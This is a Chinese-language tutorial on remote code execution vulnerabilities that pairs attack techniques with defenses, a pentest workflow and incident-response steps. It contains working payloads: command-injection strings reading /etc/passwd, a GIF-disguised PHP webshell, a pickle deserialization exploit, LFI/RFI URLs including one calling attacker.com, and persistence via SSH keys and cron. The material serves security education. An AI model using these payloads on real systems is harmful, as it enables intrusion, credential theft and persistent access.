代码执行漏洞(RCE)
底层原理
程序未对用户输入进行严格过滤,允许攻击者通过输入点注入任意代码或命令,利用动态语言特性(如 PHP 的 eval
、Python 的 os.system
)或系统调用执行恶意操作。
攻击分类与利用技术
-
命令注入(OS Command Injection)
-
目标函数:
system()
、exec()
、popen()
、反引号(``)等。 -
绕过过滤方法:
-
符号绕过:
;
(分号)、&&
(逻辑与)、|
(管道符)、$()
(命令替换)。# 示例:拼接命令 http://target.com/api?cmd=ping%20127.0.0.1%20%26%26%20cat%20/etc/passwd
-
编码绕过:使用 URL 编码、Base64、十六进制等。
# Base64 编码命令 echo "cat /etc/passwd" | base64 → Y2F0IC9ldGMvcGFzc3dkCg== payload: ; echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash
-
环境变量注入:利用
${PATH:0:1}
生成/
符号。${PATH:0:1}tmp${PATH:0:1}malicious.sh → /tmp/malicious.sh
-
-
-
代码注入(动态执行漏洞)
-
目标函数:
eval()
、assert()
、Function()
(JavaScript)、exec()
(Python)。 -
PHP 示例:
<?php $code = $_GET['code']; eval($code); // 输入 ?code=system("id"); ?>
-
绕过黑名单:
-
字符串拼接:
"sy"."stem"("id")
→system("id")
。 -
利用变量函数(PHP):
$func = "system"; $func("id");
-
反射调用(Java/Python):通过类名动态调用方法。
-
-
-
反序列化漏洞
-
触发点:
ObjectInputStream
(Java)、pickle.load()
(Python)、unserialize()
(PHP)。 -
利用链构造:
-
Java Commons Collections:生成 Gadget 链执行命令。
-
Python
__reduce__
:在反序列化时触发恶意函数。import pickle class Exploit: def __reduce__(self): return (os.system, ('id',)) payload = pickle.dumps(Exploit())
-
-
文件执行漏洞
攻击场景与利用链
-
文件上传漏洞
-
绕过限制技术:
-
扩展名绕过:
-
双扩展名:
shell.php.jpg
(Apache 可能解析为 PHP)。 -
空字节截断:
shell.php%00.jpg
(旧版 PHP)。 -
大小写混淆:
SHELL.PhP
。
-
-
内容绕过:
-
添加图片头(GIF89a)伪装图片:
GIF89a<?php system($_GET['cmd']); ?>
-
利用 Exif 数据注入 PHP 代码。
-
-
解析漏洞:
-
Nginx 畸形路径:
/uploads/shell.jpg/.php
(错误配置导致 PHP 解析)。 -
IIS 短文件名:利用
~1
特性猜测文件名。
-
-
-
-
文件包含漏洞(LFI/RFI)
-
本地文件包含(LFI):
-
读取敏感文件:
http://target.com/?file=../../../../etc/passwd
-
日志污染:注入 PHP 代码到 Nginx/Access 日志,再包含日志文件。
-
-
远程文件包含(RFI):
-
需服务器开启
allow_url_include
(PHP 配置)。 -
示例:
http://target.com/?file=http://attacker.com/shell.txt
-
PHP 伪协议利用:
?file=php://filter/convert.base64-encode/resource=index.php # 读取源码 ?file=php://input&cmd=id # 通过 POST 传递代码执行
-
-
深度防御方案
代码执行防御
-
输入处理:
-
白名单校验:仅允许预期字符(如数字、字母),拒绝所有特殊符号。
-
参数化调用(非字符串拼接):
# Python 安全示例 import subprocess subprocess.run(["ls", "-l"], check=True) # 避免直接拼接命令
-
-
沙箱隔离:
-
使用 Docker 容器限制进程权限。
-
配置 SELinux/AppArmor 限制程序行为。
-
-
语言级防护:
-
PHP:禁用
eval
、assert
,配置open_basedir
限制文件访问范围。 -
Python:避免
pickle
反序列化不可信数据,改用json
。
-
文件执行防御
-
文件上传:
-
存储策略:
-
文件重命名(MD5 哈希 + 随机后缀)。
-
存储到非 Web 目录,通过 PHP 代理访问文件(禁止直接执行)。
-
-
内容检查:
-
使用
file
命令或libmagic
检测真实文件类型。 -
扫描文件内容中的危险关键词(如
<?php
)。
-
-
-
文件包含防护:
-
固定包含路径:禁止动态变量控制文件路径。
// 错误示例 include($_GET['page'] . '.php'); // 正确示例 $allowed = ['home', 'about']; if (in_array($_GET['page'], $allowed)) { include($_GET['page'] . '.php'); }
-
关闭危险配置:
; PHP.ini allow_url_include = Off allow_url_fopen = Off
-
高级渗透测试流程
-
信息收集:
-
使用
nmap
扫描开放端口,识别 Web 框架(Wappalyzer)。 -
分析 JS/CSS 文件寻找 API 端点或调试接口。
-
-
漏洞探测:
-
自动化工具:
-
SQLi/XSS:SQLMap、XSStrike。
-
RCE:Metasploit、Cobalt Strike。
-
-
手动测试:
-
修改 HTTP 头部(如
X-Forwarded-For
)测试注入点。 -
尝试触发错误信息(如故意输入错误语法)。
-
-
-
后渗透阶段:
-
权限提升:
-
利用内核漏洞(DirtyCow、CVE-2021-4034)。
-
查找 SUID 文件:
find / -perm -4000 2>/dev/null
。
-
-
持久化:
-
写入 SSH 公钥:
echo "公钥" >> ~/.ssh/authorized_keys
。 -
添加定时任务:
crontab -e
→* * * * * /bin/bash -c '恶意命令'
。
-
-
应急响应与取证
-
隔离系统:
-
断开网络,防止横向渗透。
-
创建内存快照(Volatility)和磁盘镜像(dd)。
-
-
痕迹分析:
-
日志审计:
-
Web 日志:
grep 'POST /shell.php' /var/log/nginx/access.log
。 -
系统日志:
journalctl -u sshd | grep "Failed password"
(爆破尝试)。
-
-
文件监控:
-
查找最近修改的文件:
find /var/www -mtime -1
。 -
检查隐藏文件:
ls -la /tmp
(常见 Webshell 路径)。
-
-
-
修复与加固:
-
补丁更新:升级框架版本(如 Struts、Spring)。
-
WAF 规则:配置 ModSecurity 拦截恶意请求。
-
密钥轮换:重置数据库密码、SSH 密钥、API Token。
-
工具链参考
-
代码扫描:SonarQube、Semgrep(静态分析)。
-
漏洞利用:Metasploit、SQLMap、BeEF(浏览器利用)。
-
Webshell 管理:AntSword(蚁剑)、Cobalt Strike。
-
流量分析:Wireshark、tcpdump。
(注:实际渗透需遵守法律,仅限授权测试。)